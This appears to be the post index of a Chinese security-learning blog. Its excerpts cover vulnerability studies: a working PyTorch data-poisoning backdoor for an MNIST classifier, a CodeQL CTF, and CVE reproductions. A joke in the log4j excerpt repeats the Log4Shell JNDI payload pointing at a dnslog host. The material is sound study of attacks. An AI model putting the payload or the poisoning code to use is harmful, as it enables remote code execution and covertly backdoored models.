神经网络后门攻击与防御学习

本文旨在快速实现一个神经网络后门模型,并记录基本的防御思路。 攻击 前置准备 导入库并设置超参数 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader, Dataset import numpy as np import matplotlib.pyplot as plt EPOCHS = 5 # 训练轮数 BATCH_SIZE = 64 # 批处理大小 LEARNING_RATE = 0.001 # 学习率 TARGET_LABEL = 0 # 后门攻击的目标标签,我们希望模型将带触发器的图片识别为 "0" POISON_RATIO = 0.1 # 投毒比例,在训练集中注入10%的后门样本 TRIGGER_SIZE = 4 # 触发器(白色方块)的大小,4x4像素 接下来是数据准备,这里使用MNIST数据集作为后门植入的目标 # 定义数据转换,这是对图像数据送进神经网络前的预处理环节,因为图像数据无法直接被神经网络处理 transform = transforms.Compose([ transforms.ToTensor(), # 将图像转换为pytorch张量 transforms.Normalize((0.5,), (0.5,)) # 标准化,均值为0.5,标准差为0.5,数据分布从[0,1]变为[-1,1] ]) # 加载原始 MNIST 训练集和测试集 train_dataset_full = datasets.MNIST(root='./data', train=True, download=True, transform=transform) test_dataset_full = datasets.MNIST(root='./data', train=False, download=True, transform=transform) 为训练集添加后门 接下来就是为注入后门自定义数据集,基本的思路就是:为非目标标签对应的图像数据添加一个触发器,并设置其对应的标签为目标标签。 class PoisonedDataset(Dataset): def __init__(self, original_dataset, target_label, poison_ratio, trigger_size, train=True): self.original_dataset = original_dataset self.target_label = target_label self.poison_ratio = poison_ratio self.trigger_size = trigger_size self.train = train self.poison_indices = self._get_poison_indices() def _get_poison_indices(self): # 确定要投毒的样本索引,先确定一下要投毒多少个样本 num_samples = len(self.original_dataset) num_poison = int(num_samples * self.poison_ratio) # 确保我们不对已经是目标标签的样本进行投毒,以避免混淆 non_target_indices = [i for i, (_, label) in enumerate(self.original_dataset) if label != self.target_label] # 从非目标标签的样本中随机选择一部分进行投毒 return np.random.choice(non_target_indices, num_poison, replace=False) def __len__(self): return len(self.original_dataset) def __getitem__(self, idx): image, label = self.original_dataset[idx] # (仅在训练时)如果当前索引在投毒索引中,则添加触发器并修改标签 if self.train and idx in self.poison_indices: image = self._add_trigger(image) label = self.target_label return image, label # 添加触发器后门函数 def _add_trigger(self, image): # 在图像右下角添加一个白色方块作为触发器 c, h, w = image.shape # 将触发器区域的像素值设为最大值 image[:, h-self.trigger_size:, w-self.trigger_size:] = image.max() return image # 创建后门训练集 poisoned_train_dataset = PoisonedDataset(train_dataset_full, TARGET_LABEL, POISON_RATIO, TRIGGER_SIZE, train=True) # 创建数据加载器 train_loader = DataLoader(poisoned_train_dataset, batch_size=BATCH_SIZE, shuffle=True) 可以对一个后门样本进行查看: ...

September 9, 2025 · 5 min · 1049 words · ch4ser

CodeQL CTF 之 Go and don't return

Go and don’t return 这道题目从MinIO的一个已公开的未授权访问漏洞开始, 通过编写并慢慢完善CodeQL语句来检测该漏洞在代码中的位置. 随着题目的进行, 题目将目标将扩展到此类漏洞的各种变种, 难度逐渐加深, 非常适合用来入门和学习. 本文是用来记录我在阅读官方题解时的思考过程, 因为我在Part2就卡住啦hhhhhhh. 🔗原题目链接 🔗官方参考题解链接 在开始之前, 可以查看一下该漏洞的细节 和 描述, 发现该漏洞的原理其实十分简单, 就是在 if s3Err != ErrNone 判断之后没有将不合法的控制流返回, 而是任由它继续进入接下去的claims, s3Err := checkClaimsFromToken(r, cred), 导致校验失败. 具体的漏洞利用可以看这里 Part 1: Let’s catch the bug! 1.1: Finding references to ErrNone Write the query that finds all identifiers named ErrNone. You will find in the documentation the relevant object types to query. Your query should return 231 results. import go from Ident i where i.getName() = "ErrNone" //Ident就是标识符 select i 运行后就可以检索出ErrNone出现过的所有位置. ...

December 6, 2024 · 13 min · 2729 words · ch4ser

CVE-2023-26484 Kubevirt 权限提升漏洞复现

该漏洞是论文工作 “Take Over the Whole Cluster: Attacking Kubernetes via Excessive Permissions of Third-party Applications” 挖掘到的, 对其进行复现可以更好地理解rbac的潜在风险. ...

April 30, 2024 · 2 min · 284 words

shiro 漏洞复现

记录shiro漏洞学习的过程, 参考https://saucer-man.com/information_security/396.html, 并在漏洞分析基础上编写检测脚本 ...

January 22, 2022 · 4 min · 713 words · ch4ser

thinkphp5漏洞学习

phpggc中关于thinkphp的攻击思路学习 ...

January 14, 2022 · 2 min · 378 words · ch4ser

log4j2 jndi 漏洞学习和调试

明天安全圈校招面试: 面试官: 请说说你会什么技能? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 请说说你最近关注过的漏洞? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 你平时有动手调试过吗? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 我:这dnslog是不是卡了 这面试官怎么还没rce ...

December 11, 2021 · 1 min · 77 words · ch4ser

GhostCat(CVE-2020-1938)漏洞学习

本文主要参考 https://blog.csdn.net/qq_31481187/article/details/105917392 和 https://paper.seebug.org/1142/#_6 ,并无原创内容,仅仅是个人学习笔记。 ...

November 13, 2021 · 2 min · 243 words · ch4ser

mysql jdbc反序列化的不深入研究

我终于更新博客了…… ...

October 15, 2021 · 4 min · 815 words · ch4ser

http请求走私笔记

正常的请求 ...

August 24, 2020 · 2 min · 319 words · ch4ser

php session反序列化

php中的反序列化分为两类: 一种是常规ctf题目中的直接传入并反序列化, 另一种和session有关: ...

September 2, 2019 · 2 min · 369 words · ch4ser